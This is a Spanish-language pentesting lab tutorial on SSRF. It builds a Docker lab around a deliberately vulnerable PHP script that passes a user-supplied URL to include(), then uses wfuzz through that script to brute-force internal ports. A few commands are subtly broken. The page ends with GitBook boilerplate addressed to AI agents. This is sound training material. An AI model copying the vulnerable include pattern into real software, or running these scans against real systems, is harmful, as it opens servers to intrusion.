> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-server-side-request-forgery-ssrf/ssrf-wfuzz-pentesting-web.md).

# SSRF con Wfuzz

## Instalación del primer escenario (vulnerabilidad SSRF)

```bash
docker pull ubuntu:latest
docker run -dit --name ssrf_first_lab ubuntu
docker exec -it ssrf_first_lab bash
apt update
apt install apache2 php nano python3 lsof -y
service apache2 start
lsof -i:80 # verifica que el sitio web esté activo

```

* En el directorio **/var/www/html**, crea un archivo utility.php con el siguiente contenido:

```php
<?php
if (isset($_GET['url'])) {
    $url = $_GET['url'];
    echo "/n[+] Mostrando el contenido del sitio web " . $url . ":/n/n";
    include($url);
} else {
    echo "/n[!] No se ha proporcionado ningún valor para el parámetro URL/n/n";
}
?>

```

* En este caso, el script no funciona como se espera. Debes modificar el archivo **"/etc/php/8.1/apache2/php.ini"** estableciendo \_allow/\_url/*include* en "on". ![](/files/a0b9cf8d0f85da34430197de52e63b27fbd3d811) ![](/files/6488a4471086d9c614a22c0188e4aa50ee3281a0)
* Crea un `login.html` archivo en `/tmp/` para simular una página de inicio de sesión de producción:

```html
<!DOCTYPE html>
<html>
<head>
<meta name="viewport" content="width=device-width, initial-scale=1">
<title> Página de inicio de sesión </title>
<style>
Body {
  font-family: Calibri, Helvetica, sans-serif;
  background-color: pink;
}
button {
       background-color: #4CAF50;
       width: 100%;
        color: orange;
        padding: 15px;
        margin: 10px 0px;
        border: note;
        cursor: pointer;
         }
 form {
        border: 3px solid #f1f1f1;
    }
 input[type=text], input[type=password] {
        width: 100%;
        margin: 8px 0;
        padding: 12px 20px;
        display: inline-block;
        border: 2px solid green;
        box-sizing: border-box;
    }
 button:hover {
        opacity: 0.7;
    }
  .cancelbtn {
        width: auto;
        padding: 10px 18px;
        margin: 10px 5px;
    }
 .container {
        padding: 25px;
        background-color: lightblue;
    }
</style>
</head>
<body>
    <center> <h1> Formulario de inicio de sesión de estudiante (PRO) </h1> </center>
    <form>
        <div class="container">
            <label>Nombre de usuario: </label>
            <input type="text" placeholder="Ingrese nombre de usuario" name="username" required>
            <label>Contraseña: </label>
            <input type="password" placeholder="Ingrese contraseña" name="password" required>
            <button type="submit">Iniciar sesión</button>
            <input type="checkbox" checked="checked"> Recuérdame
            <button type="button" class="cancelbtn"> Cancelar</button>
            ¿Olvidaste <a href="#"> tu contraseña? </a>

    </form>
</body>
</html>

```

* Reinicia el servicio apache2 después de la modificación:

  ```bash
  service apache2 restart

  ```
* Crea un servidor web Python3 visible solo desde la red interna:

```bash
python3 -m 4646 --bind 127.0.0.1

```

Diagrama técnico para entender el primer escenario (**Hay un sitio web en el puerto 8089 que solo es visible desde los equipos de la red interna**):

<figure><img src="/files/59b533d94f926b2eb0ae21733dec518583b61d57" alt="" width="563"><figcaption></figcaption></figure>

Gracias al **utility.php** script, especificamos una URL y vemos que la interpreta:

<figure><img src="/files/822c7e84ab31262d132f5e0690e70ccf890e9a0c" alt=""><figcaption></figcaption></figure>

Si intentamos conectarnos desde nuestra máquina normal, **no tenemos acceso** al sitio web:

<figure><img src="/files/037fae72980627dc51d081626dfd2c9aa7a347d9" alt="" width="563"><figcaption></figcaption></figure>

Pero si nos conectamos a través de **utility.php** y proporcionamos la URL de la red interna, vemos que la interpreta:

<figure><img src="/files/46bd3b9ba27c7631e21cac88d57bfe18724b2ca2" alt="" width="563"><figcaption></figcaption></figure>

En un caso hipotético en el que **no conocemos el puerto**, usamos **Wfuzz** para lanzar un ataque de fuerza bruta:

```go
wfuzz -c -t 200 -z range,1-65535 "http://172.17.0.2/utility.php?url=http://127.0.0.1:FUZZ"

```

<figure><img src="/files/a0907eac812f3eb4662c73349fc580093fae6009" alt="" width="503"><figcaption></figcaption></figure>

Ahora,  **filtramos** para mostrar solo sitios web con una longitud de **4 caracteres**:

```go
wfuzz -c -t 200 --hl=4  -z range,1-65535 "http://172.17.0.2/utility.php?url=http://127.0.0.1:FUZZ"

```

Detecta los puertos **80 y 4646**:

<figure><img src="/files/1a4da97737e70d8b6717515ba6cfc0fd197e4a65" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-server-side-request-forgery-ssrf/ssrf-wfuzz-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
